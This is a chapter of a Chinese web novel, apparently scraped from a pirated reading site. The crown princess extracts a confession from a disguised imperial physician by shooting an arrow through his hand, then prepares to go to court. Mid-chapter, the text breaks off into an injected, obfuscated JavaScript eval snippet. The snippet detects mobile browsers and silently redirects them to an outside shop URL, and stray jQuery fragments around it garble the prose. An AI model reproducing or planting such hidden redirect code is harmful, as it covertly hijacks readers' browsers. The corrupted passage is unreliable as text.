默认冷灰
24号文字
方正启体

11. 今日上朝堂

作者:爱吃红豆火烧的猫本书字数:K更新时间:
    子时末,下了一整夜的雨终于停了。


    皎皎明月,徐徐清风,好一个宁静的夜晚。


    泥土里的水汽记录着不久前落下过的暴雨,


    躲在地宫中的无数双眼睛正透过暗门,目不转睛的盯着古夫人墓前的风吹草动。


    一个穿着钱十一娘同款服饰的女子在墓前坐着,似是在等着什么人。


    过了许久,一个人影终于从暗处走了出来。


    “十一娘好功夫!怎么样东西拿到了吗?”


    姜山人两步并作一步走到“十一娘”身旁,却看到了一张熟悉的面孔。


    陈绿卿轻笑了一声,“先生这是什么眼力,我们明明昨日还见过,怎还能将我认成他人?”


    姜山人连连摆手,语气中带着他自己都未觉察的紧张:“不不不,娘子定是认错人了,我昨日闭门未出,怎可能见过你呢?”


    “昨日傍晚,陈相府中,李太医可曾想起啊?”


    陈绿卿面上还是笑意吟吟,但说出的话却让“姜山人”杀心顿起。


    只见他大喊一声,提着刀便要朝陈绿卿砍来。


    一道寒光闪过,


    “姜山人”手中的刀落了地,取而代之的,是魏明架在他脖子上的一柄陌刀。


    “说!真正的姜山人在哪?”


    揭下他脸上那张完美无暇的人皮面具,陈绿卿看到了那张藏在阴影之中的,满是沟壑的,可怖面容。


    “李太医,居然真的是你!”旁边的魏明惊呼了一声。


    “你究竟是如何发现老夫不是姜山人的?”


    李太医的脸上没了昨日去到相府出诊时的骄傲与自命不凡,此刻的他满身灰尘,好不狼狈。


    望着他那双灰败下去的眼睛,陈绿卿取出了自己的袖箭。


    “还是先关心关心你当下的处境吧。


    我自幼苦练射术,恰巧还略懂些医术,可保在您老身上射上几十个窟窿眼后,您也无性命之忧。只是……难免要受上点皮肉之苦了。


    当然,我也不是不讲理之人,太医若告诉我姜山人今在何处,绿卿自然是不愿见血的。”


    她将手中的箭左摇摇右摆摆,似是在纠结该射何处。


    “你疯了!我是宫中太医,连先皇后的心疾都是我治好的,你小小一个女子怎敢这样对我!


    本朝早已禁止酷吏之刑,你身为丞相嫡女难道就能知法犯法了吗?”


    李太医的话还未说完,便发出一声惨叫。


    一支箭直直扎穿他的左掌,血流不止。


    射箭之人的脸上未有杀意,满是戏谑之情。


    “太医莫非忘了,我还真有疯病,您昨日出宫——不正是来为我诊病来的吗?”微微眯了眯眼睛,她继续瞄准着下一个部位,“三秒钟,再不说下一个射的就是你的眼睛了。”


    心脏一声重过一声的颤动,眼前就是冰冷而锐利的箭头,陈绿卿笃定,这李太医撑不了多久。


    她三个数还没数完,那人便瘫软在地,连连求饶了。


    “我说!我说!”


    李太医颤抖着手,指向了地宫深处一块巨石之下,“我、我们也是没办法了。我们身上的杀业太重,听说他是神仙,怕他死后来找我们的麻烦,便想着将他压在巨石之下,让其永生永世没办法爬出来找我们报仇。”


    压在巨石之下,那只怕是连尸骨都难以辨认了。


    但陈绿卿还是下令命人挖地洞直通巨石之下,带回姜山人的尸骨。


    一是为了辨认这狗贼有没有说谎。


    二是姜山人在皇帝心中地位甚高。他们一行人杀害了姜山人,皇帝知道后连带着此案的幕后主使都得给姜山人陪葬。


    满朝皆知皇帝对先后用情至深,对扬言能助他们来世再续前缘的姜山人更是礼遇有加。


    敢对姜山人下手,无异于是当众打皇帝的脸。


    陈绿卿默默在心中感慨,敢冒这么大的风险,只为接替谢伯都坐上太子之位的,满朝只有一人了。


    但纵使她对幕后之人的身份早有定夺,也还需人证与物证,方可让陛下和朝臣信服。


    物证好说得很,哪怕是在这地宫中随便敲一块砖呈上去,都能将古医师利用“百面书生”为非作歹的罪行定得死死的。


    眼下难就难在了人证。


    该如何让这位忠心耿耿的李太医在朝堂之上指认自己的“金主兼上司”呢?


    当然是在这几个大字前加上一个“前”字了。


    “前金主兼上司”,听起来就让人想吐槽一二。


    “李太医的胆子真大啊!连朝廷命官都敢杀,他可是皇上面前的红人,连太子殿下都要敬他几分,”她故意颇为怜悯的看着李太医,叹惋道:“哎,可怜你的家人,要陪你共赴黄泉去了。”


    “不,不是我杀的他!是二……”


    李太医猛的止住了话头,意识到自己被诈了。


    但为时已晚了。


    他这个“二”字一出口,便回不了头了。


    “是二殿下下令杀的姜山人,我说得没错吧。”陈绿卿将李太医未说完的话补上了。


    此刻的她完全没了刚才扬言要杀人时的阎王面孔,反而是神色和缓,笑颜如花。


    她语重心长劝道:“您这个二字已经说出来了,左右二殿下也不会放了你,而至还会迁怒到你的家人身上。李太医不若转投我这边?


    我是个妇人,心肠最是柔软,定然是见不得李太医的家人命丧黄泉的。


    介时你我共同扳倒二殿下,太子岂会不赏你?说到底,太子殿下才是天道正统,其他的小打小闹,伤不到他的。有了太子庇佑,你的一家老小一定安然无恙。


    李太医以为如何?”


    人啊,一但又了牵挂,便是有了软处,一但有了软处,便不是无坚不摧。


    望着泄了气的李太医,看到他行礼时那颗快要埋到地毯之下的头颅,陈绿卿不由感叹,这样狠心的贼人,竟也会为了家人的安危做到这种地步。


    但是,这并不能抵消他的罪孽。


    陈绿卿在心中默念,还不是时候,还不是时候。


    等明日一过,她定要亲手杀了此人,为亡魂们报仇。


    对,她是说过保住李太医家人的性命,但她可没说连李太医的性命也要一并保下。


    “如果我没猜错的话,二皇子最初的计划应是拿到太子的人皮面具,鸠占鹊巢,取而代之。


    但书中曾记载,百面书生此术的最后一次抹药后,面皮脱落之时人会痛苦万分,发出极大的响声。


    东宫戒备森严,只要太子有什么风吹草动,为太子开药方的古医师当即就会被射成筛子。


    所以二殿下找到了李太医你与他打配合,是也不是?”


    “是。但老臣也是无奈之举啊!”李太医竭力撇清此事与自己的关系,“他以我全家老小的性命相逼,我那小孙子才刚刚满月啊,实在是不忍心弃他们不顾。”


    李太医哭得是涕泪横流,似乎自己受了天大的委屈,绝口不提杀人的事。


    陈绿卿丝毫没有在意他的这些举措,只是接着开口,“古医师负责制作人、皮面具,而李太医你负责迷药。你们算好了时间,想趁我和太子回门之时下手。


    昨日你故意在我父亲进宫的路上等着,哪怕他不开口请你,你也会主动提出为他分忧,同他一同归家来为我诊治。如果没出意外的话,你到我家的时候应该会看到同样为太子问诊的古医师,并和他碰头。


    你昨日曾特意提出治疗时要太子殿下一同前往,其实就是想趁着看病只时把我们二人一同迷晕,然后再由还留在宅子内的古医师完成百面书生的最后一步,取下面皮,是也不是?”


    “是,但当时微臣在面见太子殿下时并未发现古医师。所以,所以我就……”


    李太医支支吾吾不肯说接下来发生了什么。


    但就算他不说,陈绿卿心中也清楚得很。


    “你杀了我府中的一名老者,对吗?”她的声音很轻。


    但掩在袖子中的那双手却在一点、一点的收紧。


    “你去见太子时并未发现古医师,便故意以卦象为由推迟了为我看诊的时间,就是为了等到古医师然后两人配合一起下手。


    你等啊等啊,天都快黑了,古医师还没有来。你知道一定是生变了,便想着赶紧离开。


    苦于找不到合适的理由,你不得不拿出古医师为你做的用于假死脱身的半成品人皮面具。


    然后你随便挑了个头发花白的老者下手,给他戴上你的面具,再以问诊为由把我迷晕,把杀了李太医的罪名嫁祸在我的身上,而你自己则逃之夭夭。


    是也不是!”


    李太医听到这再也不敢隐瞒,哆哆嗦嗦的磕着头,忙不迭的道歉:“小的该死,小的该死啊。我真是猪油蒙了心,居然还想把杀人的罪名推到您的头上。我该死,该死。”


    那个被杀的老者,是陈绿卿的先生,那个曾说她有宰相之才,倾囊相授授她诗书的先生。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887585|192076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    就这么被这个狗贼杀了。


    更可笑的是,面前这个人居然丝毫意识不到自己的错误,居然还在因为栽赃嫁祸了自己而惶惶不安,明明杀了人却丝毫不知悔改。


    陈绿卿看着他,透过他的皮肤,她似乎看见了冰冷血肉之下那具空空如也的白骨。没有心,也不配有心。


    等明日一切尘埃落定之后,她一定要亲手送他去见阎王。


    “无妨的,各为其主罢了。


    李太医是个聪明人,此计既可从相府即使脱身又能抹黑我与殿下,确实是好计。我希望你能利用好你的聪明,明日朝堂之上,你知道该怎么说,对吗?”


    陈绿卿派人端了一盆热水,将手上的血污一点点洗净,专心致志,似乎完全不在意李太医让她背上杀人罪名的阴险计划。


    这让跪在地上的李太医狠狠的松了口气。


    在答应完陈绿卿的要求后,他挪动着还在颤抖着的双腿,在侍卫的押送下一瘸一拐的离开了这个房间,去别处对刚刚所说的证词签字画押。


    末了,在脚踏出大门的那一刻,他又听到了那个让他下意识颤栗的声音。


    “最后一个问题。古医师是你们的人杀的吗?回答完你就可以去休息了,好好睡一觉吧。”


    “不是。我从相府逃出来后就赶往了古医师做的那个地宫,然后就发现他已经被人给杀了。我吓得半死,赶紧去跟二殿下回禀了这个消息。


    他命我与十一娘联手,在地宫处等待你们一行人。但十一娘不信我,只让我拿了姜山人的面具,然后就把我赶走了。


    任务还未完成,我又不敢回去,只能在后山一带徘徊,等待十一娘的消息。”


    “知道了,你可以走了。”


    陈绿卿坐在椅子上,喝了一口冷酒,盯着李太医离去的背影,盘算着明天的第一箭该射哪。


    突然,又有一个人影匆匆进入了房间。


    是之前派出去找人的侍卫。


    “太子妃殿下,人已经找到了,是否要现在提审?”


    还没来得及开口,陈绿卿就听到后方挖掘姜山人骸骨的那堆人马中传出了一声惊天巨吼。


    “鬼!有鬼啊!”


    “压在这么重的石头下面,他居然还没有死!”


    陈绿卿随即看见一个男子的身影。


    是从声音传出的方向走来的,白衣黑发,貌若谪仙。


    “真是没礼貌,都说了吾是仙人。仙人只会被天道所杀,凡夫俗子是杀不了吾的。”


    陈绿卿抬眼去看,谁知那个自称是仙人的家伙也在望着她,视线交汇,那人朝她一拜。


    “王道以德服人,霸道以力服人,王霸兼用,敬天治人。”


    “太子妃制服李太医的手段,我刚刚在巨石之下听得一清二楚。姜山人,佩服。”


    陈绿卿眨了眨眼,显然也没见过这种情况。毕竟被千斤巨石压住,一般人估计连骨头都碎成渣了。


    看着死而复生的姜山人,她的脑海中冒出来一个绝妙的计划。


    “仙人既然敬佩我,那可否帮我一个小忙呢?”


    ……


    第二日,天明之时。


    陈绿卿揉了揉酸胀的眼睛,望向远方升起的朝阳。


    明明一夜未眠,但她却仍然精神抖擞。


    彩云在一旁帮她整理着符合太子妃规制的礼服。


    这本是礼部赶制出来用于陈绿卿参加夏至节大典的,可夏至节未至,她却已经穿上了。


    自古以来没有女子上朝堂的先例,所以就更不会有女子的朝服,但如若穿常服前去,那群言官只怕又是一顿唠叨,上奏说太子妃殿前失仪云云。


    陈绿卿思来想去,还是穿上了这身厚重的衣裙。


    “太子妃,你真的要去吗?”


    彩云帮她抚平衣裙上并不存在的褶皱,很是紧张。


    女子上朝堂,在长安,乃至整个盛朝都将掀起轩然大波。


    圣上,朝臣,百姓会是如何态度?


    前路未明啊。


    但陈绿卿知道,若想实现心中所谋,这是必经之路。


    而今日,就是迈出第一步的最好的时机。


    “当然要去了,”陈绿卿抚了抚眼前这个比她矮上半截小丫鬟的头,“别这么担心,现在时辰还早,你去补一觉,醒来后我就回来了。”


    大步向前,朝那座巍峨的殿宇走去。


    阳光洒在她身上,熠熠生辉,甚至让人觉得,她也在发光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)